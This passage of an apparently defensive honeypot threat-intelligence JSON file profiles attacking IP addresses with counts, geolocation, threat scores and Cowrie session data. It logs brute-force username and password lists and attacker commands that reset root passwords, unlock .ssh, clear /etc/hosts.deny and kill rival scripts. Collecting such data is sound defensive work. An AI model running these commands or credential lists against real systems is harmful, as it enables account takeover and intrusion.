        "echo \"123\\nhdvlLKwVeAYg\\nhdvlLKwVeAYg\\n\"|passwd",
        "echo \"Dev123!\\nkSpG6of0Irie\\nkSpG6of0Irie\\n\"|passwd",
        "echo \"music\\nKzqEqoE0duCn\\nKzqEqoE0duCn\\n\"|passwd",
        "echo \"nutanix/4u\\ns3s2NLJNRhwV\\ns3s2NLJNRhwV\\n\"|passwd",
        "echo \"saipass\\nzboEYeZ7ntdJ\\nzboEYeZ7ntdJ\\n\"|passwd",
        "echo \"ventas@123\\n7gWjngzvUbod\\n7gWjngzvUbod\\n\"|passwd",
        "echo -e \"12345678\\n9sBcyMRH3JlK\\n9sBcyMRH3JlK\"|passwd|bash",
        "echo -e \"12345678\\nZ7Hse6yfmjh2\\nZ7Hse6yfmjh2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1159,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:10:36.919000+00:00",
        "last_seen_30d": "2026-03-20T18:25:46.527000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 961,
        "Suricata": 198
      }
    },
    "103.176.79.24": {
      "attack_count": 585,
      "first_seen": "2026-03-03T02:02:02.402Z",
      "last_seen": "2026-03-17T01:13:37.637Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pris731",
        "teamspeak3",
        "admin1",
        "andy",
        "carlos",
        "eugene",
        "glassfish",
        "grafana",
        "guoan",
        "julien",
        "ldanko",
        "lee",
        "mexal",
        "mmsi",
        "redhat",
        "ross",
        "ss",
        "test001"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "123456",
        "12345",
        "987654321",
        "@Aa123456",
        "Gd@ta2014",
        "Julien123!",
        "Qq123321",
        "Qwe@123456",
        "User02123",
        "Zxcasd123",
        "abc123",
        "abc123...",
        "admin123456",
        "andy@123456",
        "carloscarlos",
        "eugeneeugene",
        "grafana@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nTcIC5JWIQLuU\\nTcIC5JWIQLuU\\n\"|passwd",
        "echo \"pris731\\ntJ0G3T68Y9o2\\ntJ0G3T68Y9o2\\n\"|passwd",
        "echo \"root:Kel0uYJfdGFO\"|chpasswd|bash",
        "echo \"root:Y1bPpTh58jcm\"|chpasswd|bash",
        "echo \"root:fO5vhckrV93V\"|chpasswd|bash",
        "echo \"root:y5KMv6Db5V3j\"|chpasswd|bash",
        "echo -e \"password\\nTcIC5JWIQLuU\\nTcIC5JWIQLuU\"|passwd|bash",
        "echo -e \"pris731\\ntJ0G3T68Y9o2\\ntJ0G3T68Y9o2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 702,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:02:02.402000+00:00",
        "last_seen_30d": "2026-03-17T01:14:40.871000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 585,
        "Suricata": 117
      }
    },
    "162.243.69.42": {
      "attack_count": 510,
      "first_seen": "2026-03-02T16:49:28.715Z",
      "last_seen": "2026-03-02T17:42:27.203Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "postgres",
        "user",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "mysql",
        "nagios",
        "server",
        "test",
        "testuser",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "password",
        "test",
        "111111",
        "123456",
        "654321",
        "P@ssw0rd",
        "passwd",
        "password123",
        "qwe123",
        "qwer1234",
        "qwerty",
        "test123",
        "test321",
        "123321",
        "1234qwer",
        "123qwe",
        "1q2w3e"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:49:28.715000+00:00",
        "last_seen_30d": "2026-03-02T17:43:29.140000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 510,
        "Suricata": 216
      }
    },
    "165.101.23.37": {
      "attack_count": 409,
      "first_seen": "2026-03-29T16:47:48.570Z",
      "last_seen": "2026-03-31T12:10:10.334Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qazwsx",
        "0102030405",
        "123456aAa!",
        "12349876",
        "123web123",
        "16122024",
        "1qay2wsx",
        "20242419",
        "20242420",
        "Abc2025",
        "Admin!QAZXSW",
        "Admin@storage",
        "Administrator2026",
        "Ai147258",
        "Cp123456",
        "GW123456",
        "Ljy123456",
        "Mc@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:F3ipYVQNbYYo\"|chpasswd|bash",
        "echo \"root:rjybRxQsAAvj\"|chpasswd|bash",
        "echo \"root:ySevuXV3Ogq4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 58768,
      "as_org": "Daffodil Online Ltd.",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:47:48.570000+00:00",
        "last_seen_30d": "2026-03-31T12:11:19.475000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 409,
        "Suricata": 115
      }
    },
    "45.5.110.214": {
      "attack_count": 375,
      "first_seen": "2026-03-12T02:05:33.221Z",
      "last_seen": "2026-03-16T03:17:54.144Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "systems",
        "emo",
        "pbxsystem",
        "admin",
        "root",
        "support",
        "centos",
        "sangoma",
        "issabel"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "vivo@01011",
        "pbx@01011"
      ],
      "commands_executed": [
        "echo login_success",
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266092,
      "as_org": "R. COSTA DO NASCIMENTO",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 680,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T02:05:33.221000+00:00",
        "last_seen_30d": "2026-03-16T03:19:00.315000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 305
      }
    },
    "161.132.125.161": {
      "attack_count": 262,
      "first_seen": "2026-03-11T10:16:32.473Z",
      "last_seen": "2026-03-11T10:39:47.818Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "angga",
        "elastic",
        "n8n",
        "amir",
        "ekp",
        "iptv",
        "root",
        "sambauser",
        "sipv",
        "student1",
        "web_admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Ekp123",
        "Iptv123",
        "Sipv123",
        "Tb123456",
        "amirpass",
        "anggapass",
        "elasticpass",
        "n8n",
        "sambauser",
        "student11234",
        "web_adminpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"anggapass\\nxaqqhNgc233H\\nxaqqhNgc233H\\n\"|passwd",
        "echo \"elasticpass\\nbfDE4i3IsCl7\\nbfDE4i3IsCl7\\n\"|passwd",
        "echo \"n8n\\ndsgO2dnZPgYd\\ndsgO2dnZPgYd\\n\"|passwd",
        "echo -e \"anggapass\\nxaqqhNgc233H\\nxaqqhNgc233H\"|passwd|bash",
        "echo -e \"elasticpass\\nbfDE4i3IsCl7\\nbfDE4i3IsCl7\"|passwd|bash",
        "echo -e \"n8n\\ndsgO2dnZPgYd\\ndsgO2dnZPgYd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:16:32.473000+00:00",
        "last_seen_30d": "2026-03-11T10:40:57.953000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "189.194.140.170": {
      "attack_count": 262,
      "first_seen": "2026-03-12T07:37:31.396Z",
      "last_seen": "2026-03-12T08:00:12.141Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "lekaren",
        "n8n",
        "yuhan",
        "admin",
        "ark",
        "emo",
        "hassan",
        "kevin",
        "mc",
        "spawner",
        "student2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Itsemoemo2025@Washere2025",
        "Spawner123",
        "arkserver",
        "kevin1234",
        "n8n",
        "student2pass",
        "sysadmin",
        "yuhan1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nJ2pPfFK1LftI\\nJ2pPfFK1LftI\\n\"|passwd",
        "echo \"n8n\\nn7giZHAPxM7i\\nn7giZHAPxM7i\\n\"|passwd",
        "echo \"yuhan1234\\nBaM9zFCQZ8FN\\nBaM9zFCQZ8FN\\n\"|passwd",
        "echo -e \"123\\nJ2pPfFK1LftI\\nJ2pPfFK1LftI\"|passwd|bash",
        "echo -e \"n8n\\nn7giZHAPxM7i\\nn7giZHAPxM7i\"|passwd|bash",
        "echo -e \"yuhan1234\\nBaM9zFCQZ8FN\\nBaM9zFCQZ8FN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:37:31.396000+00:00",
        "last_seen_30d": "2026-03-12T08:01:17.675000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "194.107.115.65": {
      "attack_count": 238,
      "first_seen": "2026-03-09T12:05:19.331Z",
      "last_seen": "2026-03-09T18:25:51.557Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "hugo",
        "appuser",
        "beehive",
        "bkp",
        "controlm",
        "develop",
        "emo",
        "ems",
        "gits",
        "myadmin",
        "nodejs",
        "soporte",
        "ts3",
        "user01",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "100",
        "1234",
        "12345",
        "123456",
        "Abcd1234..",
        "Appuser123",
        "Git123",
        "Qaz123456",
        "Zw123!",
        "aa123123aa",
        "beehive123",
        "controlm123!",
        "emopass",
        "ems123",
        "myadmin1234",
        "nodejs123",
        "soporte123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n7ums6tET4FGj\\n7ums6tET4FGj\\n\"|passwd",
        "echo \"Git123\\nliK52ibBAE81\\nliK52ibBAE81\\n\"|passwd",
        "echo -e \"123456\\n7ums6tET4FGj\\n7ums6tET4FGj\"|passwd|bash",
        "echo -e \"Git123\\nliK52ibBAE81\\nliK52ibBAE81\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:05:19.331000+00:00",
        "last_seen_30d": "2026-03-09T18:26:53.709000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "185.92.182.129": {
      "attack_count": 236,
      "first_seen": "2026-03-26T19:00:06.437Z",
      "last_seen": "2026-03-26T20:57:04.700Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "P@55w0rd@321",
        "User2024",
        "Web2026",
        "Wx123456",
        "dlgwbn",
        "lijing",
        "mango",
        "passwork",
        "pepsi123",
        "t123445",
        "toor1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JSCkIMtnf0qX\"|chpasswd|bash",
        "echo \"root:OSH9P5FpmDZI\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:00:06.437000+00:00",
        "last_seen_30d": "2026-03-26T20:58:10.662000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "167.172.63.192": {
      "attack_count": 230,
      "first_seen": "2026-03-17T01:52:00.164Z",
      "last_seen": "2026-03-17T02:00:22.200Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "abc",
        "adam",
        "alex",
        "andrew",
        "ark",
        "bot",
        "debian",
        "demo",
        "dev",
        "dspace",
        "ducc0x",
        "elastic",
        "ftpuser",
        "guest",
        "hduser",
        "jboss",
        "mauro",
        "mh"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "00000000",
        "11",
        "111",
        "111111111",
        "123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "19901990",
        "25252525",
        "Admin@123",
        "LeitboGi0ro",
        "P@ssw0rd1",
        "abc12345",
        "admin",
        "alex123",
        "ali123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 325,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T01:52:00.164000+00:00",
        "last_seen_30d": "2026-03-17T02:10:30.162000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 230,
        "Suricata": 95
      }
    },
    "103.171.69.91": {
      "attack_count": 201,
      "first_seen": "2026-03-02T03:02:24.424Z",
      "last_seen": "2026-03-05T14:13:31.702Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123456Ab",
        "2025zxc$",
        "243edc4rfv",
        "3245gs5662d34",
        "@justdoit",
        "@welcome2026",
        "Abc123!!!",
        "Cheese123",
        "Huawei#2024",
        "Pass25!!",
        "asd123...",
        "l3tme1n@12",
        "login!@#2024",
        "nas",
        "qqq123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3LGPQDOsLZpN\"|chpasswd|bash",
        "echo \"root:yX7sQ5Jf8lcn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:02:24.424000+00:00",
        "last_seen_30d": "2026-03-05T14:14:36.404000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 201,
        "Suricata": 45
      }
    },
    "154.91.170.52": {
      "attack_count": 193,
      "first_seen": "2026-03-06T06:29:13.752Z",
      "last_seen": "2026-03-06T06:48:35.714Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cristi",
        "frappeuser",
        "root",
        "alex",
        "bot1",
        "botuser",
        "dockeruser",
        "javier",
        "prova",
        "reza"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "@qwer2025",
        "alex@123",
        "botuser",
        "hello1234",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nKiPPHXJLkSLi\\nKiPPHXJLkSLi\\n\"|passwd",
        "echo \"1234\\nvZ0TYYIoK1HQ\\nvZ0TYYIoK1HQ\\n\"|passwd",
        "echo -e \"1234\\nKiPPHXJLkSLi\\nKiPPHXJLkSLi\"|passwd|bash",
        "echo -e \"1234\\nvZ0TYYIoK1HQ\\nvZ0TYYIoK1HQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:29:13.752000+00:00",
        "last_seen_30d": "2026-03-06T06:49:44.256000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "78.47.118.133": {
      "attack_count": 193,
      "first_seen": "2026-03-11T04:40:21.756Z",
      "last_seen": "2026-03-11T05:00:22.356Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ahmad",
        "kk",
        "clawd",
        "cy",
        "developer",
        "dockeradmin",
        "francesco",
        "miguel",
        "petr",
        "reza",
